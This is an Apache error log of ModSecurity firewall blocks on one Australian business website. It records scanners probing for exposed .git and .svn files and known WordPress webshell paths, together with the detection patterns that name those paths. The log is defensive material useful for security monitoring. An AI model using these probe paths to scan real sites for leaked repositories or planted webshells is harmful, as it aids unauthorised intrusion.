[Thu Nov 20 03:06:43.901172 2025] [:error] [pid 50223:tid 50348] [client 80.94.92.138:13424] [client 80.94.92.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aR4VQz4iSUKl66cdvvbtnAAAAE0"]
[Thu Nov 20 03:06:45.108203 2025] [:error] [pid 8365:tid 8370] [client 80.94.92.138:12190] [client 80.94.92.138] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aR4VRRhyiKKdRMrEbr21vQAAAoE"]
[Thu Nov 20 12:10:21.448027 2025] [:error] [pid 55340:tid 55365] [client 98.81.111.26:52528] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aR6UrfOxD-NeMydTybBJoQAAABQ"]
[Thu Nov 20 12:10:21.858171 2025] [:error] [pid 55340:tid 55369] [client 98.81.111.26:55370] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aR6UrfOxD-NeMydTybBJzgAAABg"]
[Thu Nov 20 12:10:22.267814 2025] [:error] [pid 804:tid 817] [client 98.81.111.26:54839] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aR6UrvaRHpUlPL9O0Lk1qwAAAYM"]
[Thu Nov 20 12:10:22.674858 2025] [:error] [pid 55342:tid 55396] [client 98.81.111.26:52020] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aR6Urrg6x32Tvk7fIG-MAgAAAFg"]
[Thu Nov 20 12:10:23.082968 2025] [:error] [pid 55343:tid 55406] [client 98.81.111.26:51418] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aR6Ur1WlO3EnyVMV7w5lSQAAAIc"]
[Thu Nov 20 12:11:58.551032 2025] [:error] [pid 55342:tid 55372] [client 93.123.109.173:46686] [client 93.123.109.173] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/robots.txt"] [unique_id "aR6VDrg6x32Tvk7fIG-NtwAAAEA"]
[Thu Nov 20 12:15:50.888626 2025] [:error] [pid 34405:tid 34410] [client 98.81.111.26:50863] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aR6V9jFpvu8oRK7ATfvM0wAAAQM"]
[Thu Nov 20 12:15:51.293289 2025] [:error] [pid 34405:tid 34414] [client 98.81.111.26:53152] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aR6V9zFpvu8oRK7ATfvM9AAAAQc"]
[Thu Nov 20 12:15:51.697528 2025] [:error] [pid 34444:tid 34448] [client 98.81.111.26:56769] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aR6V91NEol4jlmmA_GP0iQAAAUI"]
[Thu Nov 20 12:15:52.105718 2025] [:error] [pid 804:tid 841] [client 98.81.111.26:60265] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aR6V-PaRHpUlPL9O0Lk5MwAAAZE"]
[Thu Nov 20 12:15:52.512622 2025] [:error] [pid 804:tid 847] [client 98.81.111.26:62797] [client 98.81.111.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aR6V-PaRHpUlPL9O0Lk5QQAAAZc"]
[Thu Nov 20 15:06:53.935698 2025] [:error] [pid 40636:tid 40643] [client 43.166.244.251:54570] [client 43.166.244.251] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aR6-DQK8BWUoW3xq0HDq8wAAA4M"]
[Thu Nov 20 16:18:01.630830 2025] [:error] [pid 55340:tid 55348] [client 182.44.12.37:47120] [client 182.44.12.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aR7OufOxD-NeMydTybCCeAAAAAM"]
[Thu Nov 20 22:58:34.641747 2025] [:error] [pid 34405:tid 34411] [client 121.229.185.160:60530] [client 121.229.185.160] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aR8smjFpvu8oRK7ATftPFAAAAQQ"]
[Fri Nov 21 06:18:19.084051 2025] [:error] [pid 13327:tid 13396] [client 43.135.140.225:37254] [client 43.135.140.225] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aR-Tq_BXf-8B6mFkLeOnmQAAAIs"]
[Fri Nov 21 11:36:22.626380 2025] [:error] [pid 46276:tid 46299] [client 49.7.227.204:38452] [client 49.7.227.204] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aR_eNnbpxuSAfajqqKPMcQAAAhA"]
[Fri Nov 21 14:43:37.991495 2025] [:error] [pid 25431:tid 25494] [client 213.21.239.4:34298] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aSAKGcklhXxmoIExII0BAwAAAIc"]
[Fri Nov 21 15:09:26.862414 2025] [:error] [pid 25429:tid 25433] [client 213.21.239.4:44342] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aSAQJj4rZbRSr7vu-NOF8wAAAAA"]
[Fri Nov 21 15:42:39.118952 2025] [:error] [pid 25521:tid 25538] [client 213.21.239.4:52508] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.svn/wc.db"] [unique_id "aSAX7_hXnBMilDddn3XTnwAAAM8"]
[Fri Nov 21 16:08:29.322306 2025] [:error] [pid 25431:tid 25505] [client 213.21.239.4:51008] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.svn/wc.db"] [unique_id "aSAd_cklhXxmoIExII07NgAAAJI"]
[Fri Nov 21 16:50:08.283830 2025] [:error] [pid 25554:tid 25575] [client 45.132.227.54:49497] [client 45.132.227.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aSAnwB-NtB-9AzFZrk5pLgAAARE"]
[Fri Nov 21 16:50:10.569983 2025] [:error] [pid 25431:tid 25506] [client 45.132.227.65:28515] [client 45.132.227.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aSAnwsklhXxmoIExII1KhwAAAJM"]
[Fri Nov 21 16:50:15.091866 2025] [:error] [pid 25521:tid 25523] [client 45.132.227.68:30551] [client 45.132.227.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aSAnx_hXnBMilDddn3X85QAAAMA"]
[Fri Nov 21 16:50:17.325067 2025] [:error] [pid 46939:tid 46945] [client 45.132.227.54:28917] [client 45.132.227.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aSAnye0OmVoxD4VZ_ZmMzQAAAUM"]
[Fri Nov 21 16:50:20.955532 2025] [:error] [pid 25554:tid 25568] [client 172.98.32.84:46833] [client 172.98.32.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aSAnzB-NtB-9AzFZrk5pPQAAAQo"]
[Fri Nov 21 16:50:22.260120 2025] [:error] [pid 25429:tid 25448] [client 45.132.227.65:55081] [client 45.132.227.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aSAnzj4rZbRSr7vu-NO7UAAAAA8"]
[Fri Nov 21 16:50:23.168278 2025] [:error] [pid 46939:tid 46951] [client 172.98.32.93:55857] [client 172.98.32.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aSAnz-0OmVoxD4VZ_ZmM1AAAAUk"]
[Fri Nov 21 16:50:25.041026 2025] [:error] [pid 25430:tid 25479] [client 45.132.227.67:50393] [client 45.132.227.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aSAn0apnWJcWt_4foXlWLAAAAFM"]
[Fri Nov 21 16:50:25.925381 2025] [:error] [pid 25430:tid 25481] [client 172.98.32.97:65465] [client 172.98.32.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aSAn0apnWJcWt_4foXlWLgAAAFU"]
[Fri Nov 21 16:50:26.807595 2025] [:error] [pid 25521:tid 25530] [client 172.98.32.76:26297] [client 172.98.32.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aSAn0vhXnBMilDddn3X88wAAAMc"]
[Fri Nov 21 16:50:28.113828 2025] [:error] [pid 25431:tid 25504] [client 172.98.32.86:50495] [client 172.98.32.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aSAn1MklhXxmoIExII1KlwAAAJE"]
[Fri Nov 21 16:50:29.879565 2025] [:error] [pid 46939:tid 46948] [client 136.144.42.75:31789] [client 136.144.42.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "aSAn1e0OmVoxD4VZ_ZmM3QAAAUY"]
[Fri Nov 21 16:50:31.625465 2025] [:error] [pid 25429:tid 25443] [client 45.132.227.60:31957] [client 45.132.227.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aSAn1z4rZbRSr7vu-NO7aQAAAAo"]
[Fri Nov 21 16:50:32.933567 2025] [:error] [pid 25429:tid 25453] [client 172.98.32.78:32077] [client 172.98.32.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aSAn2D4rZbRSr7vu-NO7bQAAABQ"]
[Fri Nov 21 16:50:34.233789 2025] [:error] [pid 25554:tid 25579] [client 45.132.227.54:58195] [client 45.132.227.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aSAn2h-NtB-9AzFZrk5pRgAAARU"]
[Fri Nov 21 16:50:37.797522 2025] [:error] [pid 25431:tid 25495] [client 45.132.227.54:52503] [client 45.132.227.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aSAn3cklhXxmoIExII1KqgAAAIg"]
[Fri Nov 21 16:50:39.093725 2025] [:error] [pid 25554:tid 25574] [client 45.132.227.67:23555] [client 45.132.227.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aSAn3x-NtB-9AzFZrk5pTAAAARA"]
[Fri Nov 21 16:50:40.843780 2025] [:error] [pid 46939:tid 46946] [client 136.144.42.80:43541] [client 136.144.42.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aSAn4O0OmVoxD4VZ_ZmM_gAAAUQ"]
[Fri Nov 21 16:50:42.146215 2025] [:error] [pid 25431:tid 25503] [client 172.98.32.92:29743] [client 172.98.32.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aSAn4sklhXxmoIExII1KrwAAAJA"]
[Fri Nov 21 16:50:46.190316 2025] [:error] [pid 25554:tid 25576] [client 172.98.32.100:36921] [client 172.98.32.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aSAn5h-NtB-9AzFZrk5pWQAAARI"]
[Fri Nov 21 16:50:47.499760 2025] [:error] [pid 25430:tid 25474] [client 45.132.227.65:46031] [client 45.132.227.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aSAn56pnWJcWt_4foXlWQQAAAE4"]
[Fri Nov 21 16:50:48.798265 2025] [:error] [pid 46939:tid 46953] [client 172.98.32.82:39061] [client 172.98.32.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aSAn6O0OmVoxD4VZ_ZmNDwAAAUs"]
[Fri Nov 21 16:50:49.698488 2025] [:error] [pid 25429:tid 25435] [client 136.144.42.75:40751] [client 136.144.42.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aSAn6T4rZbRSr7vu-NO7dQAAAAI"]
[Fri Nov 21 16:50:50.558891 2025] [:error] [pid 25431:tid 25496] [client 45.132.227.52:50185] [client 45.132.227.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aSAn6sklhXxmoIExII1KxQAAAIk"]
[Fri Nov 21 16:50:52.722010 2025] [:error] [pid 46939:tid 46962] [client 45.132.227.58:52871] [client 45.132.227.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aSAn7O0OmVoxD4VZ_ZmNLQAAAVQ"]
[Fri Nov 21 16:50:53.592382 2025] [:error] [pid 25429:tid 25436] [client 136.144.42.70:65303] [client 136.144.42.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aSAn7T4rZbRSr7vu-NO7egAAAAM"]
[Fri Nov 21 16:50:54.453126 2025] [:error] [pid 25521:tid 25537] [client 172.98.32.96:41271] [client 172.98.32.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aSAn7vhXnBMilDddn3X9BAAAAM4"]
[Fri Nov 21 16:50:58.830149 2025] [:error] [pid 25430:tid 25476] [client 172.98.32.78:54697] [client 172.98.32.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aSAn8qpnWJcWt_4foXlWbQAAAFA"]
